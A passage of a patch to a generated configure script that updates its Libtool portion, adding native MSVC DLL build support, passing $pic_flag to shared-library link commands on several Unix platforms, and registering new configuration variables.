+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -8852,7 +9430,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -8860,7 +9438,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -8876,7 +9454,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -8900,10 +9478,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -8982,23 +9560,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9083,7 +9674,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9102,9 +9693,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -9680,8 +10271,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -9714,13 +10306,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -10598,7 +11248,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10601 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10642,10 +11292,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -10704,7 +11354,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10707 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10748,10 +11398,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -12771,13 +13421,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -12792,14 +13449,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -12832,12 +13492,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -12892,8 +13552,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -12903,12 +13568,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -12924,7 +13591,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -12960,6 +13626,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -13725,7 +14392,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -13828,19 +14496,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -13870,6 +14561,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -13879,6 +14576,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -13993,12 +14693,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -14085,9 +14785,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -14103,6 +14800,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -14135,210 +14835,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
